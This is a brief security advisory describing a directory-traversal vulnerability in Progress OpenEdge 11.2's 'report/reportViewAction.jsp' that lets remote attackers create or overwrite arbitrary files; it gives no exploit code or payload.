Discussion
Progress OpenEdge 'report/reportViewAction.jsp' Directory Traversal Vulnerability
Progress OpenEdge is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.
Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to create or overwrite arbitrary files in the context of the application. This may aid in further attacks.
Progress OpenEdge 11.2 is vulnerable; other versions may also be affected.
